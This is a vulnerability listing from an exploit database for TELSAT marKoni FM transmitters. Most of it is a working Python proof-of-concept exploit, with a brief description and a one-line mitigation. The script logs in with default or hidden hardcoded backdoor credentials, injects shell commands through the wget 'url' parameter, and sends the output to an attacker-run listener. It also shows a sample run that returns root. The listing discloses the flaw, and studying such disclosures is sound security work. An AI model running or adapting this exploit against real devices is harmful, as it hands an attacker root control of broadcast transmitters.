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Suggest Exploit
vendor:
Markoni-D (Compact) FM Transmitters, Markoni-DH (Exciter+Amplifiers) FM Transmitters, Markoni-A (Analogue Modulator) FM Transmitters
by:
Gjoko 'LiquidWorm' Krstic
6.1
CVSS
HIGH
Command Injection
78
CWE
Product Name: Markoni-D (Compact) FM Transmitters, Markoni-DH (Exciter+Amplifiers) FM Transmitters, Markoni-A (Analogue Modulator) FM Transmitters
Affected Version From: 1.3.2009
Affected Version To: 1.9.2005
Patch Exists: NO
Related CWE:
CPE: a:telsat_srl:markoni_fm_transmitter:1.9.5
Metasploit:
Other Scripts:
Platforms Tested: GNU/Linux 3.10.53 (armv7l), icorem6solox, lighttpd/1.4.33
2023

TELSAT marKoni FM Transmitter 1.9.5 Root Command Injection PoC Exploit

The TELSAT marKoni FM transmitters are vulnerable to unauthenticated remote code execution with root privileges. By manipulating the Email settings' WAN IP info service, which uses the 'wget' module, an attacker can exploit a command injection flaw. This allows unauthorized access with administrative privileges through the 'url' parameter in the HTTP GET request to ekafcgi.fcgi.

Mitigation:

Ensure that input validation is implemented to prevent unauthorized command execution. Regularly update the firmware to the latest version.
Source

Exploit-DB raw data:

#!/usr/bin/env python
#
#
# TELSAT marKoni FM Transmitter 1.9.5 Root Command Injection PoC Exploit
#
#
# Vendor: TELSAT Srl
# Product web page: https://www.markoni.it
# Affected version: Markoni-D (Compact) FM Transmitters
#                   Markoni-DH (Exciter+Amplifiers) FM Transmitters
#                   Markoni-A (Analogue Modulator) FM Transmitters
#                   Firmware: 1.9.5
#                             1.9.3
#                             1.5.9
#                             1.4.6
#                             1.3.9
#
# Summary: Professional FM transmitters.
#
# Desc: The marKoni FM transmitters are susceptible to unauthenticated
# remote code execution with root privileges. An attacker can exploit
# a command injection vulnerability by manipulating the Email settings'
# WAN IP info service, which utilizes the 'wget' module. This allows
# the attacker to gain unauthorized access to the system with administrative
# privileges by exploiting the 'url' parameter in the HTTP GET request
# to ekafcgi.fcgi.
#
# -------------------------------------------------------------------------
# [lqwrm@metalgear ~]# python yp.tiolpxe 10.0.8.3:88 backdoor 10.0.8.69 whoami
# Authentication successful for backdoor
# Injecting command: whoami
# Listening on port 9999
# ('10.0.8.3', 47302) called back
# Received: root
# Housekeeping...
# Zya and thanks for stopping by!
#
# [lqwrm@metalgear ~]# 
#
# -------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.10.53 (armv7l)
#            icorem6solox
#            lighttpd/1.4.33
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2024-5808
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5808.php
#
#
# 10.11.2023
#

from colorama import init, Fore
import re,os,sys,requests
import socket,threading
from time import sleep
init()

def just_listen_to_me(lport, cstop):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    print("Listening on port " + str(lport))
    try:
        conn, addr = s.accept()
        print(addr, "called back")
        cstop.set()
    except socket.timeout:
        print("Call return timeout\nCheck your ports")
        conn.close()
    while True:
        try:
            odg = conn.recv(1771).decode()
            uam = re.search(r"User-Agent:\s*(.*)", odg)

            if uam:
                uav = uam.group(1)
                print(f"Received: {uav}")
                exit()
            else:
                print("No output for you")
        except:
            print("Housekeeping...")
            exit()
    s.close()

def authenticate(ipaddr, option): #### Encrypted Shit ####_"
    auth_url = f"http://{ipaddr}" # oOoOoOoOoOoOoOoOoOoOoOo"
    ep = "/cgi-bin/ekafcgi.fcgi?OpCode=" ##################"
    if option == "user": ##################################"
        username = "\x75\x73\x65\x72" #####################"
        password = "\x75\x73\x65\x72" #####################"
    elif option == "admin": ###############################"
        username = "\x61\x64\x6D\x69\x6E" #################"
        password = "\x61\x64\x6D\x69\x6E" #################"
    elif option == "backdoor": ############################"
        username = "\x66\x61\x63\x74\x6F\x72\x79" #########"
        password = "\x69\x6E\x6F\x6B\x72\x61\x6D\x32\x35"#_"

    authp = {
        'username': username,
        'password': password
    }

    resp = requests.get(auth_url + ep + "1", params=authp)

    if "Set-Cookie" in resp.headers:
        print(f"Authentication successful for {option}")
        auth_cookie = resp.headers["Set-Cookie"].split(";")[0]
        return auth_cookie
    else:
        print(f"Authentication failed for {option}.")
        print("Try a different option.")
        return None

def execute(ipaddr, cookie, command, listen_ip):
    print(f"Injecting command: {command}")
    ep = "/cgi-bin/ekafcgi.fcgi?OpCode="
    eden = f"http://{ipaddr}{ep}26&param=wget&ena=1&url=-U%20%60{command}%60%20{listen_ip}:9999"
    dva = f"http://{ipaddr}{ep}27"
    tri = f"http://{ipaddr}{ep}26&param=wget&ena=0&url="
    clear = f"http://{ipaddr}{ep}3&com1=203C%20001001"

    headers = {"Cookie": cookie}

    requests.get(eden, headers=headers)
    sleep(2)
    requests.get(dva, headers=headers)
    sleep(2)
    requests.get(tri, headers=headers)
    sleep(1)
    requests.get(clear, headers=headers)
    print("Zya and thanks for stopping by!")
    exit(0)

def njaaah(text):
    columns = os.get_terminal_size().columns
    print(text.center(columns))

zsl = "\033[91mWaddup!\033[0m" #Win64
mrjox = f"""
     ________
   /          \\
  /    ____    \\
 |   /    0 \\   |
 |   \\______/   | 
  \\____________/  {zsl}
       | |
      /   \\
     /  O  \\
    |    O  \\
    |       \\
    |        \\
    |_________|
        """

if len(sys.argv) != 5:
    print()
    print("This is a PoC script for the marKoni transmitters 0day")
    print("Usage: python yp.tiolpxe <target_ip:port> <option> <listen_ip> <command>")
    print("Option: 'user', 'admin', 'backdoor'")
    print("Default listening port: 9999")
    njaaah(mrjox)
    exit()

ipaddr = sys.argv[1]
opt = sys.argv[2]
listen_ip = sys.argv[3]
command = sys.argv[4]

opt_map = {
    "admin"    : "admin",
    "user"     : "user",
    "backdoor" : "backdoor"
}

if opt in opt_map:
    auth_cookie = authenticate(ipaddr, opt_map[opt])
    if auth_cookie:
        cstop = threading.Event()
        lt = threading.Thread(target=just_listen_to_me, args=(9999, cstop))
        lt.start()
        execute(ipaddr, auth_cookie, command, listen_ip)
        cstop.set()
        lt.join()
else:
    print("Invalid option.")